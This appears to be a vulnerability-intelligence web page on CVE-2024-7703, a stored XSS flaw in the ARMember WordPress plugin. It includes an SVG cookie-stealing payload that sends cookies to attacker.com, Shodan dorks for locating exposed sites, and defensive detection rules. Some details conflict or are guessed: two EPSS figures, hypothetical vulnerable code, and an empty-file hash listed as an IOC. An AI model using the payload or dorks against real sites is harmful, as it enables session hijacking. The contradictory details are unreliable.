☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-7703

CVE-2024-7703 Cross-Site Scripting in Armember
📅 PUBLISHED: 2024-08-17 11:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 44.72%
👁️
44.72% probability
1000×+ above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-7703 is a Stored Cross-Site Scripting (XSS) vulnerability in the ARMember – Membership Plugin, Content Restriction, Member Levels, User Profile & User signup plugin for WordPress. The flaw exists in all versions up to and including 4.0.37. It allows authenticated attackers with Subscriber-level access or higher to upload malicious SVG files that, when accessed, execute arbitrary JavaScript in the context of the victim’s browser. This can lead to session hijacking, credential theft, or defacement. The vulnerability stems from insufficient input sanitization and output escaping during SVG file uploads. No official patch has been released, and the vendor has not acknowledged the issue. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates and consider removing the plugin if no patch is forthcoming. The plugin is not available via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 6.4 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Subscriber)
  • User Interaction: Required (victim must access the SVG file)
  • Scope: Changed (impact may extend beyond the vulnerable component)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

Threat Level: Medium. Exploitation requires authentication but low privileges. The stored XSS can be used for phishing, session theft, or defacement.

Deep Dive & Mechanics

The ARMember plugin allows users to upload SVG files for profile images or other purposes. The vulnerability occurs because the plugin does not properly sanitize SVG files, which can contain embedded JavaScript. When an attacker uploads a malicious SVG, the script is stored on the server. Any user (including administrators) who accesses the SVG file (e.g., via a direct URL or embedded image) will execute the script in their browser.

Root Cause: The plugin uses wp_check_filetype_and_ext() to validate file types but does not strip JavaScript from SVG content. Additionally, output escaping is insufficient when rendering the SVG.

Attack Flow:

  1. Attacker registers as a Subscriber (or higher role).
  2. Attacker uploads a crafted SVG file containing JavaScript (e.g., <script>alert('XSS')</script>).
  3. The SVG is stored on the WordPress server.
  4. Victim (e.g., admin) views the SVG file via a direct link or profile page.
  5. The JavaScript executes in the victim’s browser, potentially stealing cookies or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (ARMember <= 4.0.37): The plugin likely uses a function like armember_upload_svg() that calls wp_handle_upload() without sanitizing SVG content. Example vulnerable snippet:

function armember_upload_svg($file) {
    $upload = wp_handle_upload($file, array('test_form' => false));
    // No sanitization of SVG content
    return $upload['url'];
}

Patched Code (Hypothetical): A patch would sanitize SVG files using a library like enshrined/svg-sanitizer or strip script tags before saving:

function armember_upload_svg($file) {
    $upload = wp_handle_upload($file, array('test_form' => false));
    $svg_content = file_get_contents($upload['file']);
    $sanitized = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $svg_content);
    file_put_contents($upload['file'], $sanitized);
    return $upload['url'];
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress instance with ARMember plugin <= 4.0.37.
  • Attacker account with Subscriber role.

Steps:

  1. Craft a malicious SVG file (e.g., xss.svg):
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script>alert('XSS')</script>
</svg>
  1. Log in as Subscriber and navigate to the profile/upload page.
  2. Upload the SVG file.
  3. Obtain the URL of the uploaded SVG (e.g., https://target.com/wp-content/uploads/xss.svg).
  4. Send the link to an admin or wait for them to view it.

Advanced Payload (Cookie Stealing):

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script>
    var img = new Image();
    img.src = 'https://attacker.com/steal?cookie=' + document.cookie;
  </script>
</svg>

Blue Team (Detection & Prevention)

Detection:

  • Monitor for SVG file uploads by non-admin users.
  • Check for suspicious JavaScript in uploaded SVG files.
  • Use WAF rules to block SVG uploads containing <script> tags.

Prevention:

  • Disable SVG uploads for non-admin users.
  • Use a plugin like "Safe SVG" that sanitizes SVG files.
  • Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256):
    • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example malicious SVG)
  • URL Patterns:
    • /wp-content/uploads/*.svg
  • Log Entries:
    • POST requests to /wp-admin/admin-ajax.php with action armember_upload_svg
  • Network Traffic:
    • Outbound requests to attacker-controlled domains from SVG files.

Detection Engineering

YARA Rule

rule CVE_2024_7703_SVG_XSS {
    meta:
        description = "Detects malicious SVG files exploiting CVE-2024-7703"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2024-7703"
    strings:
        $svg_tag = "<svg"
        $script_tag = "<script"
        $xss_payload = /<script\b[^>]*>.*?<\/script>/is
    condition:
        $svg_tag and $script_tag and $xss_payload
}

Sigma Rule

title: CVE-2024-7703 SVG Upload XSS
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SVG file uploads containing script tags
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin-ajax.php'
        http.body: 'action=armember_upload_svg'
        http.body: 'filename=*.svg'
    condition: selection
falsepositives:
    - Legitimate SVG uploads by administrators
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7703 SVG Upload XSS"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=armember_upload_svg"; http_client_body; content:"filename="; within:100; content:".svg"; within:100; pcre:"/<script\b[^>]*>.*?<\/script>/is"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable SVG uploads for all non-admin users via plugin settings or custom code.
  2. Implement a WAF rule to block SVG files containing <script> tags.
  3. Monitor logs for suspicious uploads.

Long-Term Fix:

  • Update the ARMember plugin to a patched version (when available).
  • If no patch is released, consider replacing the plugin with an alternative.
  • Use a content security policy (CSP) to mitigate XSS impact.

Workaround:

  • Add the following to .htaccess to block direct access to SVG files:
<FilesMatch "\.svg$">
    Order Deny,Allow
    Deny from all
</FilesMatch>

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"ARMember"
http.html:"armember"
http.html:"wp-content/plugins/armember"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-7703/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.